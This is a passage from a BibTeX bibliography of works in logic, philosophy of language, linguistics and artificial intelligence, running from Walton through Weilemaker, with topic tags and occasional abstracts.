{Dordrecht}, + topic = {ambiguity;argumentation;} + } + +@incollection{ walton_k:1973a, + author = {Kendall L. Walton}, + title = {Linguistic Relativity}, + booktitle = {Conceptual Change}, + publisher = {D. Reidel Publishing Co.}, + year = {1973}, + editor = {Glenn Pearce and Patrick Maynard}, + pages = {100--102}, + address = {Dordrecht}, + topic = {linguistic-relativity;} + } + +@incollection{ waltz:1995a, + author = {David Waltz}, + title = {Introduction (To Part {III}: Cognitive and + Computational Models}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {397--401}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;cognitive-psychology;visual-reasoning;} + } + +@article{ waltz:1997a, + author = {David E. Waltz}, + title = {Artificial Intelligence: Realizing the Ultimate Promises of + Computing}, + journal = {{AI} Magazine}, + year = {1997}, + volume = {18}, + number = {3}, + pages = {49--52}, + topic = {AI-survey;} + } + +@article{ waltz:1999a, + author = {David Waltz}, + title = {The Importance of Importance}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {3}, + pages = {18--35}, + topic = {attention;importance;} + } + +@incollection{ wang_hx-zaniolo:2000a, + author = {Haixun Wang and Carlo Zaniolo}, + title = {Nonmonotonic Reasoning in ${\cal LDL^{++}}$}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {523--544}, + address = {Dordrecht}, + topic = {logic-in-AI;deductive-databases;stratified-logic-programs;} + } + +@article{ wang_tc:1995a, + author = {Tie-Cheng Wang}, + title = {A Typed Resolution Principle for Deduction with + Conditional Typing Theory}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {75}, + number = {2}, + pages = {161--194}, + topic = {theorem-proving;resolution;higher-order-logic;} + } + +@inproceedings{ wang_xc-etal:1993a, + author = {Xianchang Wang and Huowang Chen and Qingping Zhao and Wei + Li}, + title = {W---A Logic System Based on Shared Common Knowledge + Views}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {410--414}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {mutual-beliefs;Conway-paradox;epistemic-logic;} + } + +@inproceedings{ wang_yy-waibel:1997a, + author = {Ye-Yi Wang and Alex Waibel}, + title = {Decoding Algorithm in Statistical Machine Translation}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {366--372}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {machine-translation;statistical-nlp;} + } + +@book{ wanner:1996a, + editor = {Leo Wanner}, + title = {Lexical Functions in Lexicography and Natural Language + Processing}, + publisher = {J. Benjamins}, + year = {1996}, + address = {Amsterdam}, + ISBN = {1556193831}, + topic = {computational-lexicography;} + } + +@article{ wansing:1993a, + author = {Heinrich Wansing}, + title = {A General Possible Worlds Framework for Reasoning about + Knowledge and Belief}, + journal = {Studia Logica}, + year = {1995}, + volume = {49}, + number = {4}, + pages = {523--539}, + topic = {epistemic-logic;belief;} + } + +@article{ wansing:1993b, + author = {Heinrich Wansing}, + title = {Informational Interpretation of Substitutional + Propositional Logics}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {2}, + number = {4}, + pages = {285--308}, + topic = {substructural-logics;groupoid-semantics;} + } + +@article{ wansing:1993c, + author = {Heinrich Wansing}, + title = {Functional Completeness for Subsystems of Intuitionistic + Propositional Logic}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {3}, + pages = {303--321}, + topic = {intuitionistic-logic;expressive-completeness;} + } + +@book{ wansing:1996a, + editor = {Heinrich Wansing}, + title = {Proof Theory of Modal Logic}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + topic = {proof-theory;modal-logic;} + } + +@book{ wansing:1996b, + editor = {Heinrich Wansing}, + title = {Negation: A Notion in Focus}, + Publisher = {Walter de Gruyter}, + year = {1996}, + address = {Berlin}, + xref = {Review: humberstone:1999a}, + topic = {negation;} + } + +@article{ wansing:1998a, + author = {Heinrich Wansing}, + title = {Editorial: Modality, of Course! Modal logic, Si!}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {3}, + pages = {iii--vii}, + topic = {modal-logic;} + } + +@book{ wansing:1998b, + author = {Heinrich Wansing}, + title = {Displaying Modal Logic}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Dordrecht}, + ISBN = {0-7923-5205-X}, + xref = {Review:gore:2000b.}, + topic = {display-logic;} + } + +@article{ wansing:1999a, + author = {Heinrich Wansing}, + title = {Predicate Logics on Display}, + journal = {Studia Logica}, + year = {1999}, + volume = {62}, + number = {1}, + pages = {49--75}, + topic = {display-logic;} + } + +@article{ wansing:2002a, + author = {Heinrich Wansing}, + title = {A Rule-Extension of the Non-Associative {L}ambek Calculus}, + journal = {Studia Logica}, + year = {2002}, + volume = {71}, + number = {3}, + pages = {443--451}, + topic = {Lambek-calculus;categorial-grammar;} + } + +@article{ ward_g-hirschberg:1991a, + author = {Gregory Ward and Julia Hirschberg}, + title = {A Pragmatic Analysis of Tautological Utterances}, + journal = {Journal of Pragmatics}, + year = {1991}, + volume = {15}, + pages = {507--520}, + missinginfo = {number}, + topic = {implicature;speaker-meaning;} + } + +@article{ ward_n:1992a, + author = {Nigel Ward}, + title = {A Parallel Approach to Syntax for Generation}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {57}, + number = {2--3}, + pages = {183--225}, + acontentnote = {Abstract: + To produce good utterances from nontrivial inputs a natural + language generator should consider many words in parallel, which + raises the question of how to handle syntax in a parallel + generator. If a generator is incremental and centered on the + task of word choice, then the role of syntax is merely to help + evaluate the appropriateness of words. One way to do this is to + represent syntactic knowledge as an inventory of ``syntactic + constructions'' and to have many constructions active in parallel + at run-time. If this is done then the syntactic form of + utterances can be emergent, resulting from synergy among + constructions, and there is no need to build up or manipulate + representations of syntactic structure. This approach is + implemented in FIG, an incremental generator based on spreading + activation, in which syntactic knowledge is represented in the + same network as world knowledge and lexical knowledge. } , + topic = {parallel-processing;nl-generation;} + } + +@incollection{ ward_n:1998a, + author = {Nigel Ward}, + title = {Some Exotic Discourse Markers of Spoken Dialog}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {62--64}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;} + } + +@incollection{ ward_n:2000a, + author = {Nigel Ward}, + title = {Issues in the Transcription of {E}nglish Conversational + Grunts}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {29--35}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;corpus-annotation;corpus-tagging; + nonlinguistic-noises;} + } + +@article{ ware:1973a, + author = {Robert Ware}, + title = {Acts and Action}, + journal = {The Journal of Philosophy}, + year = {1973}, + volume = {70}, + number = {13}, + pages = {403--418}, + topic = {action;} + } + +@article{ warfield:1997a, + author = {Ted A. Warfield}, + title = {Divine Foreknowledge and Human Freedom Are Comatible}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {1}, + pages = {80--86}, + topic = {freedom;foreknowledge;} + } + +@incollection{ warfield:2000a, + author = {Ted A. Warfield}, + title = {Causal Determinism and Human Freedom + Are Incompatible: A New Argument for + Alternative Possibilities: A Further Look}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {181--202}, + address = {Oxford}, + topic = {freedom;(in)determinism;} + } + +@article{ warfield:2001a, + author = {Ted A. Warfield}, + title = {Review of {\it Putting Skeptics in Their Place: The Nature + of Skeptical Arguments and Their Role in Philosophical + Inquiry}, by {J}ohn {G}reco}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {4}, + pages = {642--644}, + topic = {skepticism;} + } + +@unpublished{ warmbrod:1976a, + author = {Ken Warmbr\=od}, + title = {Doxastic and Temporal Conditionals}, + year = {1976}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {conditionals;} + } + +@article{ warmbrod:1981a, + author = {Ken Warmbr\=od}, + title = {Counterfactuals and Substitution of Equivalent Antecedents}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {267--289}, + contentnote = {This has to do with the problem of disjunctive + antecedents.}, + topic = {conditionals;} + } + +@incollection{ warner_r:1986a, + author = {Richard Warner}, + title = {Grice on Happiness}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {475--493}, + address = {Oxford}, + topic = {Grice;moral-psychology;} + } + +@incollection{ warnock:1962a, + author = {Geoffery J. Warnock}, + title = {Truth and Correspondence}, + booktitle = {Knowledge and Experience}, + publisher = {University of Pittsburgh Press}, + year = {1962}, + editor = {C.D. Rollins}, + pages = {11--20}, + address = {Pittsburgh, Pennsylvania}, + topic = {truth;truth-bearers;JL-Austin;correspondence-theory-of-truth;} + } + +@incollection{ warnock:1964a, + author = {Geoffery J. Warnock}, + title = {A Problem about Truth}, + booktitle = {Truth}, + publisher = {Prentice-Hall, Inc.}, + year = {1964}, + editor = {George Pitcher}, + pages = {54--67}, + address = {New York}, + topic = {truth;truth-bearers;JL-Austin;} + } + +@incollection{ warnock:1969a, + author = {Geoffery J. Warnock}, + title = {John {L}angshaw {A}ustin, a Biographical Sketch}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {3--21}, + address = {London}, + missinginfo = {E's 1st name.}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@book{ warnock:1969b, + author = {Geoffery J. Warnock}, + title = {English Philosophy Since 1900}, + publisher = {Oxford University Press}, + year = {1969}, + address = {Oxford}, + edition = {Second}, + topic = {history-of-philosophy;British-philosophy; + ordinary-language-philosophy;JL-Austin;} + } + +@incollection{ warnock:1973a, + author = {Geoffery J. Warnock}, + title = {Saturday Mornings}, + booktitle = {Essays on J.L. Austin}, + publisher = {Oxford University Press}, + year = {1973}, + editor = {Isiah Berlin et al.}, + pages = {31--45}, + address = {Oxford}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@incollection{ warnock:1973b, + author = {Geoffery J. Warnock}, + title = {Some Types of Performative Utterance}, + booktitle = {Essays on J.L. Austin}, + publisher = {Oxford University Press}, + year = {1973}, + editor = {Isiah Berlin et al.}, + pages = {69--89}, + address = {Oxford}, + topic = {JL-Austin;ordinary-language-philosophy;speech-acts;pragmatics;} + } + +@book{ warnock:1989a, + author = {Geoffery J. Warnock}, + title = {J.L. {A}ustin}, + publisher = {Routledge}, + year = {1989}, + address = {London}, + topic = {JL-Austin;} + } + +@book{ warren_dhd-szeredi:1990a, + editor = {David H.D. Warren and Peter Szeredi}, + title = {Logic Programming: Proceedings of the Seventh + International Conference}, + publisher = {The {MIT} Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + ISBN = {0262730901}, + topic = {logic-programming;} + } + +@article{ washio-etal:1997a, + author = {T. Washio and M. Sakuma and M. Kitamura}, + title = {A New Approach to Quantitative and Credible Diagnosis for + Multiple Faults of Components and Sensors}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {91}, + number = {1}, + pages = {103--130}, + topic = {diagnosis;} + } + +@article{ wasow:1975a, + author = {Thomas Wasow}, + title = {Anaphoric Variables and Bound Variables}, + journal = {Language}, + year = {1975}, + volume = {51}, + number = {2}, + pages = {368--383}, + topic = {anaphora;pronouns;} + } + +@incollection{ wasow:1989a, + author = {Thomas Wasow}, + title = {Grammatical Theory}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {5}, + pages = {161--205}, + address = {Cambridge, Massachusetts}, + topic = {linguistic-theory-survey;nl-syntax;} + } + +@inproceedings{ wasserman:1999a, + author = {Renata Wasserman}, + title = {Full Acceptance through Argumentation---A Preliminary + Report}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Practical Reasoning and Rationality}, + year = {1999}, + editor = {John Bell}, + pages = {55--60}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {practical-reasoning;argumentation;} + } + +@inproceedings{ wasserman:2000a, + author = {Renata Wasserman}, + title = {An Algorithm for Belief Revision}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {345--352}, + topic = {belief-revision;} + } + +@article{ waterman:1970a, + author = {D.A. Waterman}, + title = {Generalization Learning Techniques for Automating the + Learning of Heuristics}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {1}, + number = {1--2}, + pages = {121--170}, + topic = {machine-learning;heuristics;procedural-control;} + } + +@article{ waterman-newell:1971a, + author = {D.A. Waterman and A. Newell}, + title = {Protocol Analysis as a Task for Artificial Intelligence}, + journal = {Artificial Intelligence}, + year = {1971}, + volume = {2}, + number = {3--4}, + pages = {285--318}, + topic = {protocol-analysis;} + } + +@inproceedings{ waterman-peterson:1980a, + author = {D.A. Waterman and M. Peterson}, + year = {1980}, + title = {Rule-Based Models of Legal Expertise}, + organization = {American Association for Artificial Intelligence}, + booktitle = {Proceedings, AAAI-80}, + address = {Stanford, California}, + topic = {legal-AI;} + } + +@techreport{ waterman-peterson:1981a, + author = {D.A. Waterman and M. Peterson}, + year = {1981}, + title = {Models of Legal Decisionmaking}, + number = {R-2717-1CJ}, + institution = {Rand Corporation}, + address = {Santa Monica, California}, + topic = {legal-AI;} + } + +@book{ waterworth:1992a, + author = {John A. Waterworth}, + title = {Multimedia Interaction With Computers: Human Factors Issues}, + publisher = {Ellis Horwood}, + year = {1992}, + address = {New York}, + ISBN = {0136054293}, + topic = {HCI;multimedia-generation;} + } + +@incollection{ watkins:1985a, + author = {John Watkins}, + title = {Second Thoughts on Self-Interest and Morality}, + booktitle = {Paradoxes of Rationality and Cooperation}, + publisher = {The University of British Columbia Press}, + year = {1985}, + pages = {59--74}, + address = {Vancouver}, + topic = {rationality;prisoner's-dilemma;} + } + +@article{ watson_g1:1982a, + author = {Gary Watson}, + title = {Skepticism about Weakness of Will}, + journal = {Philosophical review}, + year = {1986}, + volume = {86}, + pages = {316--339}, + topic = {akrasia;volition;} + } + +@article{ watson_g1:1982b, + author = {Gary Watson}, + title = {Review of {\it Actions}, by {J}ennifer {H}ornsby}, + journal = {The Journal of Philosophy}, + year = {1982}, + volume = {74}, + number = {8}, + pages = {464--469}, + topic = {action;} + } + +@book{ watson_g2-seiler:1992a, + editor = {Graham Watson and Robert M. Seiler}, + title = {Text in Context: Contributions to Ethnomethodology}, + publisher = {Sage Publications}, + year = {1992}, + address = {Newbury Park, California}, + topic = {discourse-analysis;pragmatics;} +} + +@article{ watt:1979a, + author = {William C. Watt}, + title = {Against Evolution (An Addendum to {S}ampson and {J}enkins}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {1}, + pages = {121--137}, + topic = {foundations-of-syntax;foundations-of-universal-grammar; + language-universals;} + } + +@incollection{ wayne:2000a, + author = {Andrew Wayne}, + title = {Discussion: Conceptual Foundations of Field Theories + in Physics}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S516--S522}, + address = {Newark, Delaware}, + topic = {philosophy-of-physics;field-theory;} + } + +@book{ weary-etal:1989a, + author = {Gifford Weary and Melinda A. Stanley and John H. Harvey}, + title = {Attribution}, + publisher = {Springer-Verlag}, + year = {1989}, + address = {Berlin}, + ISBN = {0-387-96917-9}, + topic = {social-psychology;explanation;attribution-theory;} + } + +@unpublished{ weatherson:1991a, + author = {Brian Weatherson}, + title = {True, Truer, Truest}, + year = {1991}, + note = {Unpublished manuscript, Brown University}, + topic = {vagueness;} + } + +@article{ webb-aggarwal:1982a, + author = {Jon A. Webb and J.K. Aggarwal}, + title = {Structure from Motion of Rigid and Jointed Objects}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {19}, + number = {1}, + pages = {107--130}, + acontentnote = {Abstract: + A method for recovering the three-dimensional structure of + moving rigid and jointed objects from several single camera + views is presented. The method is based on the fixed axis + assumption: all movement consists of translations and rotations + about an axis that is fixed in direction for short periods of + time. This assumption makes it possible to recover the + structure of any group of two or more rigidly connected points. + The structure of jointed objects is recovered by analyzing them + as collections of rigid parts, and then unifying the structures + proposed for the parts. The method presented here has been + tested on several sets of data, including movies used to + demonstrate human perception of structure from motion. } , + topic = {three-D-reconstruction;} + } + +@techreport{ webber:1978a, + author = {Bonnie L. Webber}, + title = {A Formal Approach to Discourse Anaphora}, + institution = {Bolt, Beranek and Newman, Inc.}, + number = {3761}, + year = {1978}, + address = {Cambridge, Massachusetts}, + topic = {anaphora;discourse;pragmatics;} + } + +@book{ webber-nilsson_nj:1981a, + editor = {Bonnie Webber and Nils J. Nilsson}, + title = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + address = {Los Altos, California}, + contentnote = {TC: + 1. Saul Amarel, "On Representations of Problems of Reasoning + about Actions", pp. 2--22 + 2. John Gaschnig, "A Problem Similarity Approach to Devising + Heuristics: First Results", pp. 23--29 + 3. William Woods, "Optimal Search Strategies for Speech + Understanding Control", pp. 30--68 + 4. Alan Macworth, "Consistency in Networks of + Relations", pp. 69--78 + 5. Hans Berliner, "The B* Tree Search Algorithm: A Best-First + Procedure", pp. 79--87 + 6. W. W. Bledsoe, "Non-Resolution Theorem Proving",pp. 91--108 + 7. C.L. Chang and James R. SLagle, "Using Rewriting Rules for + Connection Graphs to Prove Theorems", pp. 109--118 + 8. Ray Reiter, "On Closed World Data Bases", pp. 119--140 + 9. Zohar Manna and Richard Waldinger, "A Deductive Approach to + Program Synthesis", pp. 141--172 + 10. Richard Weyhrauch, "Prolegomena to a Theory of Mechanized + Formal Reasoning", pp. 173--191 + 11. Richard Duda and Peter Hart and Nils Nilsson, "Subjective + {B}ayesian Methods for Rule-Based Expert + Systems", pp. 192--201 + 12. C. Cordell Green, "Application of Theorem Proving to Problem + Solving", pp. 202--222 + 13. Patrick Hayes, "The Frame Problem and Related Problems in + Artificial Intelligence", pp. 223--230 + 14. Richard Fikes and Peter Hart and Nils Nilsson, "Learning and + Executing Generalized Robot Plans", pp. 231--249 + 15. Richard Waldinger, "Achieving Several Goals + Simultaneously", pp. 250--271 + 16. Mark Stefik, "Planning and Meta-Planning", pp. 272--288 + 17. David Barstow, "An Experiment in Knowledge-Based Automatic + Programming", pp. 289--312 + 18. Bruce Buchanan and Edward Feigenbaum, "Dendral and + Meta-Dendral: Their Applications Dimension", pp. 313--322 + 19. Edward Shortliffe, "Consultation Systems for + Physicians", pp. 323--333 + 20. Richard Duda and John Gcschnig and Peter Hart, "Model Design + in the {\sc Prospector} Consultant System: Integrating + Knowledge to Solve Uncertainty", pp. 334--348 + 21. Lee Erman and Frederick Hayes-Roth and Victor Lesser and + D. Raj Reddy, "The Hearsay-{II} Speech-Understanding + System: Integrating Knowledge to Resolve + Uncertainty", pp. 349--389 + 22. David Wilkins, "Using Patterns and Plans in chess", pp. 390--409 + 23. Randall Davis, "Interactive Transfer of Expertise: Acquisition + of New Inference Rules", pp. 410--430 + 24. John McCarthy and Patrick Hayes, "Some Philosophical Problems + from the Stanpoint of Artificial Intelligence", pp. 431--450 + 25. Patrick Hayes, "The Logic of Frames", pp. 451--458 + 26. John McCarthy, "Epistemological Problems of Artificial + Intelligence", pp. 459--472 + 27. Robert Moore, "Reasoning about Knowledge and + Action", pp. 473--477 + 28. Philip Cohen and C. Raymond Perrault, "Elements of a Plan-Based + Theory of Speech Acts", pp. 478--495 + 29. Jon Doyle, "A Truth Maintenance System", pp. 496--516 + 30. John Mitchell, "Generalization as Search", pp. 517--542 + } , + topic = {AI-survey;} + } + +@article{ webber:1983a, + author = {Bonnie Lynn Webber}, + title = {Logic and Natural Language}, + journal = {IEEE Computer}, + year = {1983}, + volume = {16}, + number = {10}, + pages = {43--46}, + topic = {logic-and-linguistics;} + } + +@techreport{ webber:1988a, + author = {Bonnie L. Webber}, + title = {Discourse Deixis and Discourse Processing}, + institution = {Department of Computer and Information Science, + University of Pennsylvania}, + number = {MIS--CS--88-75}, + year = {1988}, + address = {Philadelphia}, + topic = {anaphora;discourse;pragmatics;} + } + +@article{ webber:1988b, + author = {Bonnie Lynn Webber}, + title = {Tense as Discourse Anaphor}, + journal = {Computational Linguistics}, + volume = {14}, + number = {2}, + year = {1988}, + pages = {61--73}, + topic = {discourse;anaphora;nl-tense;pragmatics;} + } + +@techreport{ webber:1990a, + author = {Bonnie Lynn Webber}, + title = {Structure and Ostension in the Interpretation of + Discourse Deixis}, + institution = {Computer and Information Science Department, University of + Pennsylvania}, + number = {{LINC LAB} 183, {MS-CIS}-90-58}, + year = {1990}, + address = {Philadelphia, Pennsylvania}, + topic = {deixis;discourse;pragmatics;} + } + +@techreport{ webber-etal:1990a, + author = {Bonnie L. Webber and John R. Clarke and Michael Niv and + Ron Rymon and Marin Milagros Ib\'a\~nez}, + title = {Traum{AID}: Reasoning and Planning in the Initial + Definitive Management of Multiple Injuries}, + institution = {Department of Computer and Information Science, + University of Pennsylvania}, + number = {MS--CIS--90--50}, + year = {1990}, + address = {Philadelphia}, + topic = {decision-support;medical-AI;} + } + +@article{ webber:1991a, + author = {Bonnie Lynn Webber}, + title = {Structure and Ostention in the Interpretation of + Discourse Deixis}, + journal = {Natural Language and Cognitive Processes}, + volume = {6}, + number = {2}, + year = {1991}, + pages = {107--135}, + topic = {discourse;deixis;} + } + +@unpublished{ webber-etal:1991a, + author = {Bonnie Webber and Norman Badler and Barbara Di Eugenio and + Libby Levinson and Mike White}, + title = {Instructing Animated Agents}, + year = {1981}, + note = {Unpublished manuscript, Presented at the First US-Japan + Workshop on Integrated Multi-Modal Systems, Las Cruces, NM.}, + topic = {nl-interpretation;nl-instructions;multimodal-communication;} + } + +@techreport{ webber-etal:1992a, + author = {Bonnie Webber and Norman Badler and F. Brechenridge Baldwin and + Welton Becket and Barbara Di Eugenio and Christopher Gelb and + Moon Jung and Libby Levison and Michael Moore and Michael White}, + title = {Doing What You're Told: Following Task Instructions in + Changing, But Hospitable Environments}, + institution = {Computer and Information Science Department, University of + Pennsylvania}, + number = {{LINC LAB} 236, {MS-CIS}-92-74}, + year = {1992}, + address = {Philadelphia, Pennsylvania}, + topic = {nl-interpretation;nl-instructions;multimodal-communication; + pragmatics;} + } + +@inproceedings{ webber:1995a, + author = {Bonnie Webber}, + title = {`{D}o Nothing till You Hear from Me': + Composing Processes with Termination Conditions}, + booktitle = {Working Notes of the {AAAI} Fall Symposium on + Embodied Language and Action}, + year = {1997}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + missinginfo = {pages}, + topic = {nl-interpretation;nl-instructions;pragmatics;} + } + +@inproceedings{ webber:1995b, + author = {Bonnie Webber}, + title = {Instructing Animated Agents: Viewing Language in + Behavioral Terms}, + booktitle = {Proceedings of the International Conference on + Cooperative Multimodal Communication, Eindhoven}, + year = {1995}, + note = {Available at + http://www.dai.ed.ac.uk/daidb/people/homes/bonnie/bonnie.html}, + missinginfo = {publisher, editor, address, pages}, + topic = {nl-interpretation;nl-instructions;multimodal-communication;} + } + +@article{ webber-etal:1998a, + author = {Bonnie L. Webber and Sandra Carberry and John R. + Clarke and Abigail Gerntner and Terrence Harvey and + Ron Rymon and Richard Washington}, + title = {Exploiting Multiple Goals and Intentions in Decision + Support for the Management of Multiple Trauma: A + Review of the {T}raum{AID} Project}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {105}, + number = {1--2}, + pages = {263--293}, + topic = {medical-AI;decision-support;} + } + +@incollection{ webber-joshi:1998a, + author = {Bonnie Lynn Webber and Aravind Joshi}, + title = {Anchoring a Lexicalized Tree-Adjoining Grammar for + Discourse}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {86--92}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;TAG-grammar;} + } + +@unpublished{ webber-etal:1999a, + author = {Bonnie Webber and Alistair Knott and Matthew Stone and + Aravind Joshi}, + title = {Discourse Relations: A Structuralized and Presuppositional + Account Using Lexicalized {TAG}}, + year = {1999}, + note = {Unpublished manuscript, Universithy of Edinburgh.}, + topic = {discourse;discourse-structure;presupposition;} + } + +@book{ weber_n:1998a, + editor = {Nico Weber}, + title = {Machine Translation: Theory, Application, and + Evaluation}, + publisher = {Gardenz! Verlag}, + year = {1998}, + address = {St. Augustin}, + topic = {machine-translation;} + } + +@book{ wechsler:1995a1, + author = {Stephen Wechsler}, + title = {The Semantic Basis of Argument Structure}, + publisher = {{CSLI} Publications}, + year = {1995}, + address = {Stanford, California}, + xref = {wechsler:1985a2}, + topic = {argument-structure;nl-semantics;} + } + +@book{ wechsler:1996a2, + author = {Stephen Wechsler}, + title = {The Semantic Basis of Argument Structure}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + xref = {wechsler:1985a1}, + topic = {argument-structure;nl-semantics;} + } + +@article{ wedekind:1999a, + author = {J\"urgen Wedekind}, + title = {Semantic-Driven Generation with {LFG}-and {PATR}-Style + Grammars}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {2}, + pages = {277--281}, + topic = {nl-generation;LFG;PATR;} + } + +@article{ wedgewood:2001a, + author = {Ralph Wedgewood}, + title = {Conceptual Role Semantics for Moral Terms}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {1}, + pages = {1--30}, + topic = {conceptual-role-semantics;metaethics;} + } + +@article{ weeber-etal:2000a, + author = {Marc Weeber and Rein Vos and R. Harald Bayen}, + title = {Extracting the Lowest-Frequency Words: Pitfalls + and Possibilities}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {3}, + pages = {301--317}, + topic = {information-extraction;statistical-nlp;hapax-legomena;} + } + +@inproceedings{ weida:1992a, + author = {Robert Weida}, + title = {Issues in Description Logic}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {103--106}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;taxonomic-logics;} + } + +@inproceedings{ weida:1996a, + author = {Robert A. Weida}, + title = {Closed Terminologies in Description Logics}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {592--599}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {taxonomic-logics;classifier-algorithms;closed-world-reasoning;} + } + +@book{ weidemann:1975a, + author = {Hermann Weidemann}, + title = {Metaphysik und Sprache: e. sprachphilos. Unters. Zu Thomas + von Aquin u. Aristoteles}, + publisher = {Alber}, + year = {1975}, + address = {Freiburg}, + ISBN = {3495473203}, + topic = {philosophy-of-language;metaphysics;Aristotle; + medieval-philosophy;} + } + +@incollection{ weidenbach:1998a, + author = {C. Weidenbach}, + title = {Sorted Unification and Tree Automata}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;unification;} + } + +@article{ weierman:1998a, + author = {Andreas Weierman}, + title = {How Is It That Infinitary Methods Can Be Applied to + Finitary Mathematics? G\"odel's $T$: A Case Study}, + journal = {Journal of Symbolic Logic}, + year = {1998}, + volume = {63}, + number = {4}, + pages = {1348--1370}, + topic = {proof-theory;finitary-methods;} + } + +@article{ weiermann:1998a, + author = {Andreas Weiermann}, + title = {How is it that Infinitary Methods Can be Applied to + Finitary Mathematics? G\"odel's $T$: A Case Study}, + journal = {Journal of Symbolic Logic}, + year = {1998}, + volume = {63}, + pages = {1348--1370}, + xref = {Review: strahm:2002a.}, + topic = {recursion-theory;infinitary-logic;proof-theory;} + } + +@article{ weigel-fallinga:1999a, + author = {Rainer Weigel and Boi Fallings}, + title = {Compiling Constraint Satisfaction Problems}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {115}, + number = {2}, + pages = {257--287}, + topic = {constraint-satisfaction;compilation-techniques;} + } + +@techreport{ weilemaker:1998a, + author = {Jan Weilemaker}, + title = {{SWI}-Prolog 3.1 Reference Manual, Updated for + Version 3.1.0 July, 1998}, + institution = 